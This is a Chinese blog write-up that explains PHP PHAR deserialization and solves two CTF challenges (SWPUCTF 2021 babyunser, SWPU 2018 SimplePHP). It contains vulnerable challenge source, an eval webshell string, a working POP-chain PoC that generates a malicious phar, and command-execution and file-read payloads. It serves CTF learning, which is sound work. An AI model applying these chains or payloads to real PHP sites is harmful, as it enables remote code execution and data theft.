PHAR反序列化

PHAR

PHAR(PHP Archive)文件是一种归档文件格式,phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容,这里就是我们反序列化漏洞的利用点

phar文件的结构

1.a stub
    可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();来结尾,否则phar扩展将无法识别这个文件为phar文件
2.a manifest describing the contents
	phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方
3.the file contents
被压缩文件的内容
4.[optional] a signature for verifying Phar integrity (phar file format only)
	签名,放在文件末尾

将生成的phar文件上传成功后,使用phar协议读取文件,在使用phar伪协议解析时,php一大部分的文件系统函数(下图中的函数)都会将meta-data进行反序列化

phar反序列化利用的条件

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤

[SWPUCTF 2021 新生赛]babyunser

存在文件上传,先上传一个一句话木马看看

发现会被解析为txt文件,那么先找找源码看看,利用查看文件的功能看看

index.php

<html>
<title>aa的文件管理器</title>
<body>
<h1>aa的文件管理器</h1>
<a href="upload.php">上传文件</a>
<br>
<br>
<a href="read.php">查看文件</a>
</body>
</html>

 upload.php

<html>
<title>aa的文件上传器</title>
<body>
    <form action="" enctype="multipart/form-data" method="post">
        <p>请选择要上传的文件:<p>
            <input class="input_file" type="file" name="upload_file"/>
            <input class="button" type="submit" name="submit" value="上传"/>
    </form>
</body>
</html>

<?php
    if(isset($_POST['submit'])){
        $upload_path="upload/".md5(time()).".txt";
        $temp_file = $_FILES['upload_file']['tmp_name'];
        if (move_uploaded_file($temp_file, $upload_path)) {
            echo "文件路径:".$upload_path;
        } else {
            $msg = '上传失败';
        }
    }

read.php

<?php
include('class.php');
$a=new aa();
?>
<?php
error_reporting(0);
$filename=$_POST['file'];
if(!isset($filename)){
    die();
}
$file=new zz($filename);
$contents=$file->getFile();
?>

class.php

<?php
class aa{
    public $name;

    public function __construct(){
        $this->name='aa';
    }

    public function __destruct(){
        $this->name=strtolower($this->name);
    }
}

class ff{
    private $content;
    public $func;

    public function __construct(){
        $this->content="\<?php @eval(\$_POST[1]);?>";
    }

    public function __get($key){
        $this->$key->{$this->func}($_POST['cmd']);
    }
}

class zz{
    public $filename;
    public $content='surprise';

    public function __construct($filename){
        $this->filename=$filename;
    }

    public function filter(){
        if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
            die('这不合理');
        }
    }

    public function write($var){
        $filename=$this->filename;
        $lt=$this->filename->$var;
        //此功能废弃,不想写了
    }

    public function getFile(){
        $this->filter();
        $contents=file_get_contents($this->filename);
        if(!empty($contents)){
            return $contents;
        }else{
            die("404 not found");
        }
    }

    public function __toString(){
        $this->{$_POST['method']}($_POST['var']);
        return $this->content;
    }
}

class xx{
    public $name;
    public $arg;

    public function __construct(){
        $this->name='eval';
        $this->arg='phpinfo();';
    }

    public function __call($name,$arg){
        $name($arg[0]);
    }
}

明显存在php反序列化 ,构造poc后,生成phar文件,将phar文件上传之后再通过post来cat flag

<?php
class aa{
    public $name;
    function __construct(){
        $this->name = new zz();
    }
}
 
class ff{
    private $content;
    public $func = "assert";
    function __construct(){
        $this->content = new xx();
    }
}
 
class zz{
    public $filename;
    public $content='surprise';
    function __construct(){
        $this->filename = new ff();
    }
 
}
 
class xx{
    public $name;
    public $arg;
}
 
$a = new aa();
echo urlencode(serialize($a));
 
# 下面这部分就没改
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
 
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

生成phar的部分可以直接套用

payload

file=phar://upload/a5251443346d8ea6c85877d7ef036536.txt&method=write&var=content&cmd=system("cat /flag")

[SWPU 2018]SimplePHP

查看源码,提示flag的位置在flag.php

还存在查看文件的模块,看看能不能利用来查看源码

file.php

class.php,序列化的代码,但是给了phar协议的提示

大概率是phar反序列化,function.php主要就是限制上传文件的后缀

整理一下思路,已知flag在flag.php中,但是没有办法直接访问flag.php,因为在file.php中限制了只能访问var/www/html下的文件;再看序列化的代码,不存在unserialize,怎么进行反序列化,通过phar文件自动触发反序列化;通过文件上传触发序列化之后利用file_get_contents来读取flag.php

开始构造pop链

链尾毫无疑问是Test::file_get(),file_get在get中被调用,所以触发get就能调用file_get,从get开始倒推到链头

_get访问不存在的变量时触发,Show::_toString,source是不存在的变量无法调用

在C1e4r中,echo可以触发_toString,destruct在变量摧毁时会自动触发,所以就形成完整的pop链C1e4r::_destruct->Show::_toString->Test::file_get()

poc

$s=new Show;
$t->params['source']="/var/www/html/flag.php";
$t=new Test;
$s->str['str']=$t;
$c=new C1e4r;
$c->str=$s;

生成phar文件上传后进入 upload页面拿到文件路径

用phar伪协议读取

?file=phar://upload/643dfaadf749736256e05de9e40b864b.jpg

最后进行base64解码,拿到flag

  • 13
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值